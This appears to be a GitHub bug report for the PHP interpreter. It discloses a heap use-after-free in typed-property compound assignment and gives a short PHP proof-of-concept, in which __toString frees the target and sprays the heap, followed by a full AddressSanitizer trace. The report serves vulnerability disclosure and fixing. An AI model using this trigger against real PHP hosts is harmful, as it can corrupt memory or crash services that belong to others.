Skip to content

Heap use-after-free via zend_binary_assign_op_typed_prop #21898

@kdsjZh

Description

@kdsjZh

Description

The following code:

<?php
class Target { public string $s = "initial"; }
class Evil {
    public function __toString(): string {
        global $target; $target = null;
        for ($i = 0; $i < 400; $i++) $GLOBALS['spray'][] = str_repeat("B", 96);
        return "evil-string";
    }
}
$target = new Target();
        $pn = "s";
// SPEC: ZEND_ASSIGN_OBJ_OP_SPEC_CV_CV_HANDLER
$target->{$pn} .= new Evil();
echo "done\n";

Resulted in this output:

==961261==ERROR: AddressSanitizer: heap-use-after-free on address 0x50600001cd91 at pc 0x5daf5a90a09e bp 0x7ffc514d9870 sp 0x7ffc514d9860
READ of size 1 at 0x50600001cd91 thread T0
    #0 0x5daf5a90a09d in i_zval_ptr_dtor /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_variables.h:42
    #1 0x5daf5a91cb93 in concat_function /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_operators.c:2129
    #2 0x5daf5a6601da in zend_binary_assign_op_typed_prop /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_execute.c:1699
    #3 0x5daf5a7d7e4e in ZEND_ASSIGN_OBJ_OP_SPEC_CV_CV_HANDLER /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_vm_execute.h:53378
    #4 0x5daf5a7fdf37 in execute_ex /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_vm_execute.h:121625
    #5 0x5daf5a7fefc0 in zend_execute /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_vm_execute.h:121902
    #6 0x5daf5a9631b0 in zend_execute_script /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend.c:1977
    #7 0x5daf5a398623 in php_execute_script_ex /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/main/main.c:2641
    #8 0x5daf5a398a33 in php_execute_script /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/main/main.c:2681
    #9 0x5daf5a968d20 in do_cli /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/sapi/cli/php_cli.c:951
    #10 0x5daf5a96b2ed in main /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/sapi/cli/php_cli.c:1362
    #11 0x778cec22a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #12 0x778cec22a28a in __libc_start_main_impl ../csu/libc-start.c:360
    #13 0x5daf59803c94 in _start (/home/kdsj/workspace/project-crosslang/benchmark/php/build/PHP-8.5.5-asan/bin/php+0x403c94) (BuildId: 52663b68a3e6db4099478b4e11034e806ae2e302)

0x50600001cd91 is located 49 bytes inside of 56-byte region [0x50600001cd60,0x50600001cd98)
freed by thread T0 here:
    #0 0x778cec6fc4d8 in free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:52
    #1 0x5daf5a54a0c3 in __zend_free /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_alloc.c:3571
    #2 0x5daf5a545f30 in _efree /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_alloc.c:2790
    #3 0x5daf5a8f7334 in zend_objects_store_del /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_objects_API.c:200
    #4 0x5daf5a947ddf in rc_dtor_func /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_variables.c:57
    #5 0x5daf5a653c5e in zend_assign_to_variable /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_execute.h:183
    #6 0x5daf5a7a7f76 in ZEND_ASSIGN_SPEC_CV_CONST_RETVAL_UNUSED_HANDLER /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_vm_execute.h:45688
    #7 0x5daf5a7fb79b in execute_ex /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_vm_execute.h:120975
    #8 0x5daf5a64a60e in zend_call_function /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_execute_API.c:1010
    #9 0x5daf5a64b62f in zend_call_known_function /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_execute_API.c:1104
    #10 0x5daf5a8e216e in zend_call_known_instance_method /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_API.h:866
    #11 0x5daf5a8e21a8 in zend_call_known_instance_method_with_0_params /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_API.h:872
    #12 0x5daf5a8f521d in zend_std_cast_object_tostring /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_object_handlers.c:2499
    #13 0x5daf5a9118ee in __zval_get_string_func /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_operators.c:1088
    #14 0x5daf5a911b6c in zval_try_get_string_func /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_operators.c:1115
    #15 0x5daf5a91c381 in concat_function /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_operators.c:2069
    #16 0x5daf5a6601da in zend_binary_assign_op_typed_prop /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_execute.c:1699
    #17 0x5daf5a7d7e4e in ZEND_ASSIGN_OBJ_OP_SPEC_CV_CV_HANDLER /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_vm_execute.h:53378
    #18 0x5daf5a7fdf37 in execute_ex /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_vm_execute.h:121625
    #19 0x5daf5a7fefc0 in zend_execute /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_vm_execute.h:121902
    #20 0x5daf5a9631b0 in zend_execute_script /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend.c:1977
    #21 0x5daf5a398623 in php_execute_script_ex /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/main/main.c:2641
    #22 0x5daf5a398a33 in php_execute_script /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/main/main.c:2681
    #23 0x5daf5a968d20 in do_cli /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/sapi/cli/php_cli.c:951
    #24 0x5daf5a96b2ed in main /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/sapi/cli/php_cli.c:1362
    #25 0x778cec22a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #26 0x778cec22a28a in __libc_start_main_impl ../csu/libc-start.c:360
    #27 0x5daf59803c94 in _start (/home/kdsj/workspace/project-crosslang/benchmark/php/build/PHP-8.5.5-asan/bin/php+0x403c94) (BuildId: 52663b68a3e6db4099478b4e11034e806ae2e302)

previously allocated by thread T0 here:
    #0 0x778cec6fd9c7 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
    #1 0x5daf5a549f7b in __zend_malloc /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_alloc.c:3543
    #2 0x5daf5a545e53 in _emalloc /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_alloc.c:2780
    #3 0x5daf5a8f9b62 in zend_objects_new /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_objects.c:191
    #4 0x5daf5a55d054 in _object_and_properties_init /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_API.c:1847
    #5 0x5daf5a55d20e in object_init_ex /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_API.c:1870
    #6 0x5daf5a6c91dc in ZEND_NEW_SPEC_CONST_UNUSED_HANDLER /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_vm_execute.h:11284
    #7 0x5daf5a7ee9de in execute_ex /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_vm_execute.h:117563
    #8 0x5daf5a7fefc0 in zend_execute /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_vm_execute.h:121902
    #9 0x5daf5a9631b0 in zend_execute_script /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend.c:1977
    #10 0x5daf5a398623 in php_execute_script_ex /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/main/main.c:2641
    #11 0x5daf5a398a33 in php_execute_script /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/main/main.c:2681
    #12 0x5daf5a968d20 in do_cli /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/sapi/cli/php_cli.c:951
    #13 0x5daf5a96b2ed in main /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/sapi/cli/php_cli.c:1362
    #14 0x778cec22a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #15 0x778cec22a28a in __libc_start_main_impl ../csu/libc-start.c:360
    #16 0x5daf59803c94 in _start (/home/kdsj/workspace/project-crosslang/benchmark/php/build/PHP-8.5.5-asan/bin/php+0x403c94) (BuildId: 52663b68a3e6db4099478b4e11034e806ae2e302)

SUMMARY: AddressSanitizer: heap-use-after-free /home/kdsj/workspace/project-crosslang/benchmark/php/src/PHP-8.5.5-asan/Zend/zend_variables.h:42 in i_zval_ptr_dtor
Shadow bytes around the buggy address:
  0x50600001cb00: fa fa fa fa 00 00 00 00 00 00 00 fa fa fa fa fa
  0x50600001cb80: 00 00 00 00 00 00 00 fa fa fa fa fa 00 00 00 00
  0x50600001cc00: 00 00 00 fa fa fa fa fa 00 00 00 00 00 00 00 fa
  0x50600001cc80: fa fa fa fa fd fd fd fd fd fd fd fa fa fa fa fa
  0x50600001cd00: fd fd fd fd fd fd fd fd fa fa fa fa fd fd fd fd
=>0x50600001cd80: fd fd[fd]fa fa fa fa fa 00 00 00 00 00 00 00 fa
  0x50600001ce00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x50600001ce80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x50600001cf00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x50600001cf80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x50600001d000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==961261==ABORTING

PHP Version

PHP 8.5.5-dev (cli) (built: Apr 14 2026 18:43:12) (NTS DEBUG)
Copyright (c) The PHP Group
Zend Engine v4.5.5-dev, Copyright (c) Zend Technologies
    with Zend OPcache v8.5.5-dev, Copyright (c), by Zend Technologies

Operating System

No response

Metadata

Metadata

Assignees

No one assigned

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions